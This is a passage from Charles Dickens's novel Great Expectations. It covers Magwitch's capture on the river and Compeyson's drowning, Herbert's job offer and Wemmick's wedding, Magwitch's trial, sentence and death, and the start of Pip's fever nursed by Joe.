me, dear boy," and sat like a statue. +Meantime the galley, which was very skilfully handled, had crossed +us, let us come up with her, and fallen alongside. Leaving just +room enough for the play of the oars, she kept alongside, drifting +when we drifted, and pulling a stroke or two when we pulled. Of the +two sitters one held the rudder lines, and looked at us attentively +- as did all the rowers; the other sitter was wrapped up, much as +Provis was, and seemed to shrink, and whisper some instruction to +the steerer as he looked at us. Not a word was spoken in either +boat. + +Startop could make out, after a few minutes, which steamer was +first, and gave me the word "Hamburg," in a low voice as we sat +face to face. She was nearing us very fast, and the beating of her +peddles grew louder and louder. I felt as if her shadow were +absolutely upon us, when the galley hailed us. I answered. + +"You have a returned Transport there," said the man who held the +lines. "That's the man, wrapped in the cloak. His name is Abel +Magwitch, otherwise Provis. I apprehend that man, and call upon him +to surrender, and you to assist." + +At the same moment, without giving any audible direction to his +crew, he ran the galley abroad of us. They had pulled one sudden +stroke ahead, had got their oars in, had run athwart us, and were +holding on to our gunwale, before we knew what they were doing. +This caused great confusion on board the steamer, and I heard them +calling to us, and heard the order given to stop the paddles, and +heard them stop, but felt her driving down upon us irresistibly. In +the same moment, I saw the steersman of the galley lay his hand on +his prisoner's shoulder, and saw that both boats were swinging +round with the force of the tide, and saw that all hands on board +the steamer were running forward quite frantically. Still in the +same moment, I saw the prisoner start up, lean across his captor, +and pull the cloak from the neck of the shrinking sitter in the +galley. Still in the same moment, I saw that the face disclosed, +was the face of the other convict of long ago. Still in the same +moment, I saw the face tilt backward with a white terror on it that +I shall never forget, and heard a great cry on board the steamer +and a loud splash in the water, and felt the boat sink from under +me. + +It was but for an instant that I seemed to struggle with a thousand +mill-weirs and a thousand flashes of light; that instant past, I +was taken on board the galley. Herbert was there, and Startop was +there; but our boat was gone, and the two convicts were gone. + +What with the cries aboard the steamer, and the furious blowing off +of her steam, and her driving on, and our driving on, I could not +at first distinguish sky from water or shore from shore; but, the +crew of the galley righted her with great speed, and, pulling +certain swift strong strokes ahead, lay upon their oars, every man +looking silently and eagerly at the water astern. Presently a dark +object was seen in it, bearing towards us on the tide. No man +spoke, but the steersman held up his hand, and all softly backed +water, and kept the boat straight and true before it. As it came +nearer, I saw it to be Magwitch, swimming, but not swimming freely. +He was taken on board, and instantly manacled at the wrists and +ankles. + +The galley was kept steady, and the silent eager look-out at the +water was resumed. But, the Rotterdam steamer now came up, and +apparently not understanding what had happened, came on at speed. +By the time she had been hailed and stopped, both steamers were +drifting away from us, and we were rising and falling in a troubled +wake of water. The look-out was kept, long after all was still +again and the two steamers were gone; but, everybody knew that it +was hopeless now. + +At length we gave it up, and pulled under the shore towards the +tavern we had lately left, where we were received with no little +surprise. Here, I was able to get some comforts for Magwitch - +Provis no longer - who had received some very severe injury in the +chest and a deep cut in the head. + +He told me that he believed himself to have gone under the keel of +the steamer, and to have been struck on the head in rising. The +injury to his chest (which rendered his breathing extremely +painful) he thought he had received against the side of the galley. +He added that he did not pretend to say what he might or might not +have done to Compeyson, but, that in the moment of his laying his +hand on his cloak to identify him, that villain had staggered up +and staggered back, and they had both gone overboard together; when +the sudden wrenching of him (Magwitch) out of our boat, and the +endeavour of his captor to keep him in it, had capsized us. He told +me in a whisper that they had gone down, fiercely locked in each +other's arms, and that there had been a struggle under water, and +that he had disengaged himself, struck out, and swum away. + +I never had any reason to doubt the exact truth of what he thus +told me. The officer who steered the galley gave the same account +of their going overboard. + +When I asked this officer's permission to change the prisoner's wet +clothes by purchasing any spare garments I could get at the +public-house, he gave it readily: merely observing that he must +take charge of everything his prisoner had about him. So the +pocketbook which had once been in my hands, passed into the +officer's. He further gave me leave to accompany the prisoner to +London; but, declined to accord that grace to my two friends. + +The Jack at the Ship was instructed where the drowned man had gone +down, and undertook to search for the body in the places where it +was likeliest to come ashore. His interest in its recovery seemed +to me to be much heightened when he heard that it had stockings on. +Probably, it took about a dozen drowned men to fit him out +completely; and that may have been the reason why the different +articles of his dress were in various stages of decay. + +We remained at the public-house until the tide turned, and then +Magwitch was carried down to the galley and put on board. Herbert +and Startop were to get to London by land, as soon as they could. +We had a doleful parting, and when I took my place by Magwitch's +side, I felt that that was my place henceforth while he lived. + +For now, my repugnance to him had all melted away, and in the +hunted wounded shackled creature who held my hand in his, I only +saw a man who had meant to be my benefactor, and who had felt +affectionately, gratefully, and generously, towards me with great +constancy through a series of years. I only saw in him a much +better man than I had been to Joe. + +His breathing became more difficult and painful as the night drew +on, and often he could not repress a groan. I tried to rest him on +the arm I could use, in any easy position; but, it was dreadful to +think that I could not be sorry at heart for his being badly hurt, +since it was unquestionably best that he should die. That there +were, still living, people enough who were able and willing to +identify him, I could not doubt. That he would be leniently +treated, I could not hope. He who had been presented in the worst +light at his trial, who had since broken prison and had been tried +again, who had returned from transportation under a life sentence, +and who had occasioned the death of the man who was the cause of +his arrest. + +As we returned towards the setting sun we had yesterday left behind +us, and as the stream of our hopes seemed all running back, I told +him how grieved I was to think that he had come home for my sake. + +"Dear boy," he answered, "I'm quite content to take my chance. I've +seen my boy, and he can be a gentleman without me." + +No. I had thought about that, while we had been there side by side. +No. Apart from any inclinations of my own, I understood Wemmick's +hint now. I foresaw that, being convicted, his possessions would be +forfeited to the Crown. + +"Lookee here, dear boy," said he "It's best as a gentleman should +not be knowed to belong to me now. Only come to see me as if you +come by chance alonger Wemmick. Sit where I can see you when I am +swore to, for the last o' many times, and I don't ask no more." + +"I will never stir from your side," said I, "when I am suffered to +be near you. Please God, I will be as true to you, as you have been +to me!" + +I felt his hand tremble as it held mine, and he turned his face +away as he lay in the bottom of the boat, and I heard that old +sound in his throat - softened now, like all the rest of him. It +was a good thing that he had touched this point, for it put into my +mind what I might not otherwise have thought of until too late: +That he need never know how his hopes of enriching me had perished. + + +Chapter 55 + +He was taken to the Police Court next day, and would have been +immediately committed for trial, but that it was necessary to send +down for an old officer of the prison-ship from which he had once +escaped, to speak to his identity. Nobody doubted it; but, +Compeyson, who had meant to depose to it, was tumbling on the +tides, dead, and it happened that there was not at that time any +prison officer in London who could give the required evidence. I +had gone direct to Mr. Jaggers at his private house, on my arrival +over night, to retain his assistance, and Mr. Jaggers on the +prisoner's behalf would admit nothing. It was the sole resource, +for he told me that the case must be over in five minutes when the +witness was there, and that no power on earth could prevent its +going against us. + +I imparted to Mr. Jaggers my design of keeping him in ignorance of +the fate of his wealth. Mr. Jaggers was querulous and angry with me +for having "let it slip through my fingers," and said we must +memorialize by-and-by, and try at all events for some of it. But, +he did not conceal from me that although there might be many cases +in which the forfeiture would not be exacted, there were no +circumstances in this case to make it one of them. I understood +that, very well. I was not related to the outlaw, or connected with +him by any recognizable tie; he had put his hand to no writing or +settlement in my favour before his apprehension, and to do so now +would be idle. I had no claim, and I finally resolved, and ever +afterwards abided by the resolution, that my heart should never be +sickened with the hopeless task of attempting to establish one. + +There appeared to be reason for supposing that the drowned informer +had hoped for a reward out of this forfeiture, and had obtained +some accurate knowledge of Magwitch's affairs. When his body was +found, many miles from the scene of his death, and so horribly +disfigured that he was only recognizable by the contents of his +pockets, notes were still legible, folded in a case he carried. +Among these, were the name of a banking-house in New South Wales +where a sum of money was, and the designation of certain lands of +considerable value. Both these heads of information were in a list +that Magwitch, while in prison, gave to Mr. Jaggers, of the +possessions he supposed I should inherit. His ignorance, poor +fellow, at last served him; he never mistrusted but that my +inheritance was quite safe, with Mr. Jaggers's aid. + +After three days' delay, during which the crown prosecution stood +over for the production of the witness from the prison-ship, the +witness came, and completed the easy case. He was committed to take +his trial at the next Sessions, which would come on in a month. + +It was at this dark time of my life that Herbert returned home one +evening, a good deal cast down, and said: + +"My dear Handel, I fear I shall soon have to leave you." + +His partner having prepared me for that, I was less surprised than +he thought. + +"We shall lose a fine opportunity if I put off going to Cairo, and +I am very much afraid I must go, Handel, when you most need me." + +"Herbert, I shall always need you, because I shall always love you; +but my need is no greater now, than at another time." + +"You will be so lonely." + +"I have not leisure to think of that," said I. "You know that I am +always with him to the full extent of the time allowed, and that I +should be with him all day long, if I could. And when I come away +from him, you know that my thoughts are with him." + +The dreadful condition to which he was brought, was so appalling to +both of us, that we could not refer to it in plainer words. + +"My dear fellow," said Herbert, "let the near prospect of our +separation - for, it is very near - be my justification for +troubling you about yourself. Have you thought of your future?" + +"No, for I have been afraid to think of any future." + +"But yours cannot be dismissed; indeed, my dear dear Handel, it +must not be dismissed. I wish you would enter on it now, as far as +a few friendly words go, with me." + +"I will," said I. + +"In this branch house of ours, Handel, we must have a--" + +I saw that his delicacy was avoiding the right word, so I said, "A +clerk." + +"A clerk. And I hope it is not at all unlikely that he may expand +(as a clerk of your acquaintance has expanded) into a partner. Now, +Handel - in short, my dear boy, will you come to me?" + +There was something charmingly cordial and engaging in the manner +in which after saying "Now, Handel," as if it were the grave +beginning of a portentous business exordium, he had suddenly given +up that tone, stretched out his honest hand, and spoken like a +schoolboy. + +"Clara and I have talked about it again and again," Herbert +pursued, "and the dear little thing begged me only this evening, +with tears in her eyes, to say to you that if you will live with us +when we come together, she will do her best to make you happy, and +to convince her husband's friend that he is her friend too. We +should get on so well, Handel!" + +I thanked her heartily, and I thanked him heartily, but said I +could not yet make sure of joining him as he so kindly offered. +Firstly, my mind was too preoccupied to be able to take in the +subject clearly. Secondly - Yes! Secondly, there was a vague +something lingering in my thoughts that will come out very near the +end of this slight narrative. + +"But if you thought, Herbert, that you could, without doing any +injury to your business, leave the question open for a little +while--" + +"For any while," cried Herbert. "Six months, a year!" + +"Not so long as that," said I. "Two or three months at most." + +Herbert was highly delighted when we shook hands on this +arrangement, and said he could now take courage to tell me that he +believed he must go away at the end of the week. + +"And Clara?" said I. + +"The dear little thing," returned Herbert, "holds dutifully to her +father as long as he lasts; but he won't last long. Mrs. Whimple +confides to me that he is certainly going." + +"Not to say an unfeeling thing," said I, "he cannot do better than +go." + +"I am afraid that must be admitted," said Herbert: "and then I +shall come back for the dear little thing, and the dear little +thing and I will walk quietly into the nearest church. Remember! +The blessed darling comes of no family, my dear Handel, and never +looked into the red book, and hasn't a notion about her grandpapa. +What a fortune for the son of my mother!" + +On the Saturday in that same week, I took my leave of Herbert - +full of bright hope, but sad and sorry to leave me - as he sat on +one of the seaport mail coaches. I went into a coffee-house to +write a little note to Clara, telling her he had gone off, sending +his love to her over and over again, and then went to my lonely +home - if it deserved the name, for it was now no home to me, and I +had no home anywhere. + +On the stairs I encountered Wemmick, who was coming down, after an +unsuccessful application of his knuckles to my door. I had not seen +him alone, since the disastrous issue of the attempted flight; and +he had come, in his private and personal capacity, to say a few +words of explanation in reference to that failure. + +"The late Compeyson," said Wemmick, "had by little and little got +at the bottom of half of the regular business now transacted, and +it was from the talk of some of his people in trouble (some of his +people being always in trouble) that I heard what I did. I kept my +ears open, seeming to have them shut, until I heard that he was +absent, and I thought that would be the best time for making the +attempt. I can only suppose now, that it was a part of his policy, +as a very clever man, habitually to deceive his own instruments. +You don't blame me, I hope, Mr. Pip? I am sure I tried to serve you, +with all my heart." + +"I am as sure of that, Wemmick, as you can be, and I thank you most +earnestly for all your interest and friendship." + +"Thank you, thank you very much. It's a bad job," said Wemmick, +scratching his head, "and I assure you I haven't been so cut up for +a long time. What I look at, is the sacrifice of so much portable +property. Dear me!" + +"What I think of, Wemmick, is the poor owner of the property." + +"Yes, to be sure," said Wemmick. "Of course there can be no +objection to your being sorry for him, and I'd put down a +five-pound note myself to get him out of it. But what I look at, is +this. The late Compeyson having been beforehand with him in +intelligence of his return, and being so determined to bring him to +book, I do not think he could have been saved. Whereas, the +portable property certainly could have been saved. That's the +difference between the property and the owner, don't you see?" + +I invited Wemmick to come up-stairs, and refresh himself with a +glass of grog before walking to Walworth. He accepted the +invitation. While he was drinking his moderate allowance, he said, +with nothing to lead up to it, and after having appeared rather +fidgety: + +"What do you think of my meaning to take a holiday on Monday, Mr. +Pip?" + +"Why, I suppose you have not done such a thing these twelve +months." + +"These twelve years, more likely," said Wemmick. "Yes. I'm going to +take a holiday. More than that; I'm going to take a walk. More than +that; I'm going to ask you to take a walk with me." + +I was about to excuse myself, as being but a bad companion just +then, when Wemmick anticipated me. + +"I know your engagements," said he, "and I know you are out of +sorts, Mr. Pip. But if you could oblige me, I should take it as a +kindness. It ain't a long walk, and it's an early one. Say it might +occupy you (including breakfast on the walk) from eight to twelve. +Couldn't you stretch a point and manage it?" + +He had done so much for me at various times, that this was very +little to do for him. I said I could manage it - would manage it - +and he was so very much pleased by my acquiescence, that I was +pleased too. At his particular request, I appointed to call for him +at the Castle at half-past eight on Monday morning, and so we +parted for the time. + +Punctual to my appointment, I rang at the Castle gate on the Monday +morning, and was received by Wemmick himself: who struck me as +looking tighter than usual, and having a sleeker hat on. Within, +there were two glasses of rum-and-milk prepared, and two biscuits. +The Aged must have been stirring with the lark, for, glancing into +the perspective of his bedroom, I observed that his bed was empty. + +When we had fortified ourselves with the rum-and-milk and biscuits, +and were going out for the walk with that training preparation on +us, I was considerably surprised to see Wemmick take up a +fishing-rod, and put it over his shoulder. "Why, we are not going +fishing!" said I. "No," returned Wemmick, "but I like to walk with +one." + +I thought this odd; however, I said nothing, and we set off. We +went towards Camberwell Green, and when we were thereabouts, +Wemmick said suddenly: + +"Halloa! Here's a church!" + +There was nothing very surprising in that; but a gain, I was rather +surprised, when he said, as if he were animated by a brilliant +idea: + +"Let's go in!" + +We went in, Wemmick leaving his fishing-rod in the porch, and +looked all round. In the mean time, Wemmick was diving into his +coat-pockets, and getting something out of paper there. + +"Halloa!" said he. "Here's a couple of pair of gloves! Let's put +'em on!" + +As the gloves were white kid gloves, and as the post-office was +widened to its utmost extent, I now began to have my strong +suspicions. They were strengthened into certainty when I beheld the +Aged enter at a side door, escorting a lady. + +"Halloa!" said Wemmick. "Here's Miss Skiffins! Let's have a +wedding." + +That discreet damsel was attired as usual, except that she was now +engaged in substituting for her green kid gloves, a pair of white. +The Aged was likewise occupied in preparing a similar sacrifice for +the altar of Hymen. The old gentleman, however, experienced so much +difficulty in getting his gloves on, that Wemmick found it +necessary to put him with his back against a pillar, and then to +get behind the pillar himself and pull away at them, while I for my +part held the old gentleman round the waist, that he might present +and equal and safe resistance. By dint of this ingenious Scheme, +his gloves were got on to perfection. + +The clerk and clergyman then appearing, we were ranged in order at +those fatal rails. True to his notion of seeming to do it all +without preparation, I heard Wemmick say to himself as he took +something out of his waistcoat-pocket before the service began, +"Halloa! Here's a ring!" + +I acted in the capacity of backer, or best-man, to the bridegroom; +while a little limp pew opener in a soft bonnet like a baby's, made +a feint of being the bosom friend of Miss Skiffins. The +responsibility of giving the lady away, devolved upon the Aged, +which led to the clergyman's being unintentionally scandalized, and +it happened thus. When he said, "Who giveth this woman to be +married to this man?" the old gentlemen, not in the least knowing +what point of the ceremony we had arrived at, stood most amiably +beaming at the ten commandments. Upon which, the clergyman said +again, "WHO giveth this woman to be married to this man?" The old +gentleman being still in a state of most estimable unconsciousness, +the bridegroom cried out in his accustomed voice, "Now Aged P. you +know; who giveth?" To which the Aged replied with great briskness, +before saying that he gave, "All right, John, all right, my boy!" +And the clergyman came to so gloomy a pause upon it, that I had +doubts for the moment whether we should get completely married that +day. + +It was completely done, however, and when we were going out of +church, Wemmick took the cover off the font, and put his white +gloves in it, and put the cover on again. Mrs. Wemmick, more heedful +of the future, put her white gloves in her pocket and assumed her +green. "Now, Mr. Pip," said Wemmick, triumphantly shouldering the +fishing-rod as we came out, "let me ask you whether anybody would +suppose this to be a wedding-party!" + +Breakfast had been ordered at a pleasant little tavern, a mile or +so away upon the rising ground beyond the Green, and there was a +bagatelle board in the room, in case we should desire to unbend our +minds after the solemnity. It was pleasant to observe that Mrs. +Wemmick no longer unwound Wemmick's arm when it adapted itself to +her figure, but sat in a high-backed chair against the wall, like a +violoncello in its case, and submitted to be embraced as that +melodious instrument might have done. + +We had an excellent breakfast, and when any one declined anything +on table, Wemmick said, "Provided by contract, you know; don't be +afraid of it!" I drank to the new couple, drank to the Aged, drank +to the Castle, saluted the bride at parting, and made myself as +agreeable as I could. + +Wemmick came down to the door with me, and I again shook hands with +him, and wished him joy. + +"Thankee!" said Wemmick, rubbing his hands. "She's such a manager +of fowls, you have no idea. You shall have some eggs, and judge for +yourself. I say, Mr. Pip!" calling me back, and speaking low. "This +is altogether a Walworth sentiment, please." + +"I understand. Not to be mentioned in Little Britain," said I. + +Wemmick nodded. "After what you let out the other day, Mr. Jaggers +may as well not know of it. He might think my brain was softening, +or something of the kind." + + +Chapter 56 + +He lay in prison very ill, during the whole interval between his +committal for trial, and the coming round of the Sessions. He had +broken two ribs, they had wounded one of his lungs, and he breathed +with great pain and difficulty, which increased daily. It was a +consequence of his hurt, that he spoke so low as to be scarcely +audible; therefore, he spoke very little. But, he was ever ready to +listen to me, and it became the first duty of my life to say to +him, and read to him, what I knew he ought to hear. + +Being far too ill to remain in the common prison, he was removed, +after the first day or so, into the infirmary. This gave me +opportunities of being with him that I could not otherwise have +had. And but for his illness he would have been put in irons, for +he was regarded as a determined prison-breaker, and I know not what +else. + +Although I saw him every day, it was for only a short time; hence, +the regularly recurring spaces of our separation were long enough +to record on his face any slight changes that occurred in his +physical state. I do not recollect that I once saw any change in it +for the better; he wasted, and became slowly weaker and worse, day +by day, from the day when the prison door closed upon him. + +The kind of submission or resignation that he showed, was that of a +man who was tired out. I sometimes derived an impression, from his +manner or from a whispered word or two which escaped him, that he +pondered over the question whether he might have been a better man +under better circumstances. But, he never justified himself by a +hint tending that way, or tried to bend the past out of its eternal +shape. + +It happened on two or three occasions in my presence, that his +desperate reputation was alluded to by one or other of the people +in attendance on him. A smile crossed his face then, and he turned +his eyes on me with a trustful look, as if he were confident that I +had seen some small redeeming touch in him, even so long ago as when +I was a little child. As to all the rest, he was humble and +contrite, and I never knew him complain. + +When the Sessions came round, Mr. Jaggers caused an application to +be made for the postponement of his trial until the following +Sessions. It was obviously made with the assurance that he could +not live so long, and was refused. The trial came on at once, and, +when he was put to the bar, he was seated in a chair. No objection +was made to my getting close to the dock, on the outside of it, and +holding the hand that he stretched forth to me. + +The trial was very short and very clear. Such things as could be +said for him, were said - how he had taken to industrious habits, +and had thriven lawfully and reputably. But, nothing could unsay +the fact that he had returned, and was there in presence of the +Judge and Jury. It was impossible to try him for that, and do +otherwise than find him guilty. + +At that time, it was the custom (as I learnt from my terrible +experience of that Sessions) to devote a concluding day to the +passing of Sentences, and to make a finishing effect with the +Sentence of Death. But for the indelible picture that my +remembrance now holds before me, I could scarcely believe, even as +I write these words, that I saw two-and-thirty men and women put +before the Judge to receive that sentence together. Foremost among +the two-and-thirty, was he; seated, that he might get breath enough +to keep life in him. + +The whole scene starts out again in the vivid colours of the +moment, down to the drops of April rain on the windows of the +court, glittering in the rays of April sun. Penned in the dock, as +I again stood outside it at the corner with his hand in mine, were +the two-and-thirty men and women; some defiant, some stricken with +terror, some sobbing and weeping, some covering their faces, some +staring gloomily about. There had been shrieks from among the women +convicts, but they had been stilled, a hush had succeeded. The +sheriffs with their great chains and nosegays, other civic gewgaws +and monsters, criers, ushers, a great gallery full of people - a +large theatrical audience - looked on, as the two-and-thirty and +the Judge were solemnly confronted. Then, the Judge addressed them. +Among the wretched creatures before him whom he must single out for +special address, was one who almost from his infancy had been an +offender against the laws; who, after repeated imprisonments and +punishments, had been at length sentenced to exile for a term of +years; and who, under circumstances of great violence and daring +had made his escape and been re-sentenced to exile for life. That +miserable man would seem for a time to have become convinced of his +errors, when far removed from the scenes of his old offences, and +to have lived a peaceable and honest life. But in a fatal moment, +yielding to those propensities and passions, the indulgence of +which had so long rendered him a scourge to society, he had quitted +his haven of rest and repentance, and had come back to the country +where he was proscribed. Being here presently denounced, he had for +a time succeeded in evading the officers of Justice, but being at +length seized while in the act of flight, he had resisted them, and +had - he best knew whether by express design, or in the blindness +of his hardihood - caused the death of his denouncer, to whom his +whole career was known. The appointed punishment for his return to +the land that had cast him out, being Death, and his case being +this aggravated case, he must prepare himself to Die. + +The sun was striking in at the great windows of the court, through +the glittering drops of rain upon the glass, and it made a broad +shaft of light between the two-and-thirty and the Judge, linking +both together, and perhaps reminding some among the audience, how +both were passing on, with absolute equality, to the greater +Judgment that knoweth all things and cannot err. Rising for a +moment, a distinct speck of face in this way of light, the prisoner +said, "My Lord, I have received my sentence of Death from the +Almighty, but I bow to yours," and sat down again. There was some +hushing, and the Judge went on with what he had to say to the rest. +Then, they were all formally doomed, and some of them were +supported out, and some of them sauntered out with a haggard look +of bravery, and a few nodded to the gallery, and two or three shook +hands, and others went out chewing the fragments of herb they had +taken from the sweet herbs lying about. He went last of all, +because of having to be helped from his chair and to go very +slowly; and he held my hand while all the others were removed, and +while the audience got up (putting their dresses right, as they +might at church or elsewhere) and pointed down at this criminal or +at that, and most of all at him and me. + +I earnestly hoped and prayed that he might die before the +Recorder's Report was made, but, in the dread of his lingering on, +I began that night to write out a petition to the Home Secretary of +State, setting forth my knowledge of him, and how it was that he +had come back for my sake. I wrote it as fervently and pathetically +as I could, and when I had finished it and sent it in, I wrote out +other petitions to such men in authority as I hoped were the most +merciful, and drew up one to the Crown itself. For several days and +nights after he was sentenced I took no rest except when I fell +asleep in my chair, but was wholly absorbed in these appeals. And +after I had sent them in, I could not keep away from the places +where they were, but felt as if they were more hopeful and less +desperate when I was near them. In this unreasonable restlessness +and pain of mind, I would roam the streets of an evening, wandering +by those offices and houses where I had left the petitions. To the +present hour, the weary western streets of London on a cold dusty +spring night, with their ranges of stern shut-up mansions and their +long rows of lamps, are melancholy to me from this association. + +The daily visits I could make him were shortened now, and he was +more strictly kept. Seeing, or fancying, that I was suspected of an +intention of carrying poison to him, I asked to be searched before +I sat down at his bedside, and told the officer who was always +there, that I was willing to do anything that would assure him of +the singleness of my designs. Nobody was hard with him, or with me. +There was duty to be done, and it was done, but not harshly. The +officer always gave me the assurance that he was worse, and some +other sick prisoners in the room, and some other prisoners who +attended on them as sick nurses (malefactors, but not incapable of +kindness, God be thanked!), always joined in the same report. + +As the days went on, I noticed more and more that he would lie +placidly looking at the white ceiling, with an absence of light in +his face, until some word of mine brightened it for an instant, and +then it would subside again. Sometimes he was almost, or quite, +unable to speak; then, he would answer me with slight pressures on +my hand, and I grew to understand his meaning very well. + +The number of the days had risen to ten, when I saw a greater +change in him than I had seen yet. His eyes were turned towards the +door, and lighted up as I entered. + +"Dear boy," he said, as I sat down by his bed: "I thought you was +late. But I knowed you couldn't be that." + +"It is just the time," said I. "I waited for it at the gate." + +"You always waits at the gate; don't you, dear boy?" + +"Yes. Not to lose a moment of the time." + +"Thank'ee dear boy, thank'ee. God bless you! You've never deserted +me, dear boy." + +I pressed his hand in silence, for I could not forget that I had +once meant to desert him. + +"And what's the best of all," he said, "you've been more +comfortable alonger me, since I was under a dark cloud, than when +the sun shone. That's best of all." + +He lay on his back, breathing with great difficulty. Do what he +would, and love me though he did, the light left his face ever and +again, and a film came over the placid look at the white ceiling. + +"Are you in much pain to-day?" + +"I don't complain of none, dear boy." + +"You never do complain." + +He had spoken his last words. He smiled, and I understood his touch +to mean that he wished to lift my hand, and lay it on his breast. I +laid it there, and he smiled again, and put both his hands upon it. + +The allotted time ran out, while we were thus; but, looking round, +I found the governor of the prison standing near me, and he +whispered, "You needn't go yet." I thanked him gratefully, and +asked, "Might I speak to him, if he can hear me?" + +The governor stepped aside, and beckoned the officer away. The +change, though it was made without noise, drew back the film from +the placid look at the white ceiling, and he looked most +affectionately at me. + +"Dear Magwitch, I must tell you, now at last. You understand what I +say?" + +A gentle pressure on my hand. + +"You had a child once, whom you loved and lost." + +A stronger pressure on my hand. + +"She lived and found powerful friends. She is living now. She is a +lady and very beautiful. And I love her!" + +With a last faint effort, which would have been powerless but for +my yielding to it and assisting it, he raised my hand to his lips. +Then, he gently let it sink upon his breast again, with his own +hands lying on it. The placid look at the white ceiling came back, +and passed away, and his head dropped quietly on his breast. + +Mindful, then, of what we had read together, I thought of the two +men who went up into the Temple to pray, and I knew there were no +better words that I could say beside his bed, than "O Lord, be +merciful to him, a sinner!" + + +Chapter 57 + +Now that I was left wholly to myself, I gave notice of my intention +to quit the chambers in the Temple as soon as my tenancy could +legally determine, and in the meanwhile to underlet them. At once I +put bills up in the windows; for, I was in debt, and had scarcely +any money, and began to be seriously alarmed by the state of my +affairs. I ought rather to write that I should have been alarmed if +I had had energy and concentration enough to help me to the clear +perception of any truth beyond the fact that I was falling very +ill. The late stress upon me had enabled me to put off illness, but +not to put it away; I knew that it was coming on me now, and I knew +very little else, and was even careless as to that. + +For a day or two, I lay on the sofa, or on the floor - anywhere, +according as I happened to sink down - with a heavy head and aching +limbs, and no purpose, and no power. Then there came one night +which appeared of great duration, and which teemed with anxiety and +horror; and when in the morning I tried to sit up in my bed and +think of it, I found I could not do so. + +Whether I really had been down in Garden Court in the dead of the +night, groping about for the boat that I supposed to be there; +whether I had two or three times come to myself on the staircase +with great terror, not knowing how I had got out of bed; whether I +had found myself lighting the lamp, possessed by the idea that he +was coming up the stairs, and that the lights were blown out; +whether I had been inexpressibly harassed by the distracted +talking, laughing, and groaning, of some one, and had half +suspected those sounds to be of my own making; whether there had +been a closed iron furnace in a dark corner of the room, and a +voice had called out over and over again that Miss Havisham was +consuming within it; these were things that I tried to settle with +myself and get into some order, as I lay that morning on my bed. +But, the vapour of a limekiln would come between me and them, +disordering them all, and it was through the vapour at last that I +saw two men looking at me. + +"What do you want?" I asked, starting; "I don't know you." + +"Well, sir," returned one of them, bending down and touching me on +the shoulder, "this is a matter that you'll soon arrange, I dare +say, but you're arrested." + +"What is the debt?" + +"Hundred and twenty-three pound, fifteen, six. Jeweller's account, +I think." + +"What is to be done?" + +"You had better come to my house," said the man. "I keep a very +nice house." + +I made some attempt to get up and dress myself. When I next +attended to them, they were standing a little off from the bed, +looking at me. I still lay there. + +"You see my state," said I. "I would come with you if I could; but +indeed I am quite unable. If you take me from here, I think I shall +die by the way." + +Perhaps they replied, or argued the point, or tried to encourage me +to believe that I was better than I thought. Forasmuch as they hang +in my memory by only this one slender thread, I don't know what +they did, except that they forbore to remove me. + +That I had a fever and was avoided, that I suffered greatly, that I +often lost my reason, that the time seemed interminable, that I +confounded impossible existences with my own identity; that I was a +brick in the house wall, and yet entreating to be released from the +giddy place where the builders had set me; that I was a steel beam +of a vast engine, clashing and whirling over a gulf, and yet that I +implored in my own person to have the engine stopped, and my part +in it hammered off; that I passed through these phases of disease, +I know of my own remembrance, and did in some sort know at the +time. That I sometimes struggled with real people, in the belief +that they were murderers, and that I would all at once comprehend +that they meant to do me good, and would then sink exhausted in +their arms, and suffer them to lay me down, I also knew at the +time. But, above all, I knew that there was a constant tendency in +all these people - who, when I was very ill, would present all +kinds of extraordinary transformations of the human face, and would +be much dilated in size - above all, I say, I knew that there was +an extraordinary tendency in all these people, sooner or later to +settle down into the likeness of Joe. + +After I had turned the worst point of my illness, I began to notice +that while all its other features changed, this one consistent +feature did not change. Whoever came about me, still settled down +into Joe. I opened my eyes in the night, and I saw in the great +chair at the bedside, Joe. I opened my eyes in the day, and, +sitting on the window-seat, smoking his pipe in the shaded open +window, still I saw Joe. I asked for cooling drink, and the dear +hand that gave it me was Joe's. I sank back on my pillow after +drinking, and the face that looked so hopefully and tenderly upon +me was the face of Joe. + +At last, one day, I took courage, and said, "Is it Joe?" + +And the dear old home-voice answered, "Which it air, old chap." + +"O Joe, you break my heart! Look angry at me, Joe. Strike me, Joe. +Tell me of my ingratitude. Don't be so good to me!" + +For, Joe had actually laid his head down on the pillow at my side +and put his arm round my neck, in his joy that I knew him. + +"Which dear old Pip, old chap," said Joe, "you and me was ever +friends. And when you're well enough to go out for a ride - what +larks!" + +After which, Joe withdrew to the window, and stood with his back +towards me, wiping his eyes. And as my extreme weakness prevented +me from getting up and going to him, I lay there, penitently +whispering, "O God bless him! O God bless this gentle Christian +man!" + +Joe's eyes were red when I next found him beside me; but, I was +holding his hand, and we both felt happy. + +"How long, dear Joe?" + +"Which you meantersay, Pip, how long have your illness lasted, dear +old chap?" + +"Yes, Joe." + +"It's the end of May, Pip. To-morrow is the first of June." + +"And have you been here all that time, dear Joe?" + +"Pretty nigh, old chap. For, as I says to Biddy when the news of +your being ill were brought by letter, which it were brought by the +post and being formerly single he is now married though underpaid +for a deal of walking and shoe-leather, but wealth were not a +object on his part, and marriage were the great wish of his hart--" + +"It is so delightful to hear you, Joe! But I interrupt you in what +you said to Biddy." + +"Which it were," said Joe, "that how you might be amongst +strangers, and that how you and me having been ever friends, a +wisit at such a moment might not prove unacceptabobble. And Biddy, +her word were, 'Go to him, without loss of time.' That," said Joe, +summing up with his judicial air, "were the word of Biddy. 'Go to +him,' Biddy say, 'without loss of time.' In short, I shouldn't +greatly deceive you," Joe added, after a little grave reflection, +"if I represented to you that the word of that young woman were, +'without a minute's loss of time.'" + +There Joe cut himself short, and informed me that I was to be +talked to in great moderation, and that I was to take a little +nourishment at stated frequent times, whether I felt inclined for +it or not, and that I was to submit myself to all his orders. So, I +kissed his hand, and lay quiet, while he proceeded to indite a note +to Biddy, with my love in it. + +Evidently, Biddy had taught Joe to write. As I lay in bed looking +at him, it made me, in my weak state, cry again with pleasure to +see the pride with which he set about his letter. My bedstead, +divested of its curtains, had been removed, with me upon it, into +the sittingroom, as the airiest and largest, and the carpet had +been taken away, and the room kept always fresh and wholesome night +and day. At my own writing-table, pushed into a corner and cumbered +with little bottles, Joe now sat down to his great work, first +choosing a pen from the pen-tray as if it were a chest of large +tools, and tucking up his sleeves as if he were going to wield a +crowbar or sledgehammer. It was necessary for Joe to hold on +heavily to the table with his left elbow, and to get his right leg +well out behind him, before he could begin, and when he did begin, +he made every down-stroke so slowly that it might have been six +feet long, while at every up-stroke I could hear his pen +spluttering extensively. He had a curious idea that the inkstand +was on the side of him where it was not, and constantly dipped his +pen into space, and seemed quite satisfied with the result. +Occasionally, he was tripped up by some orthographical 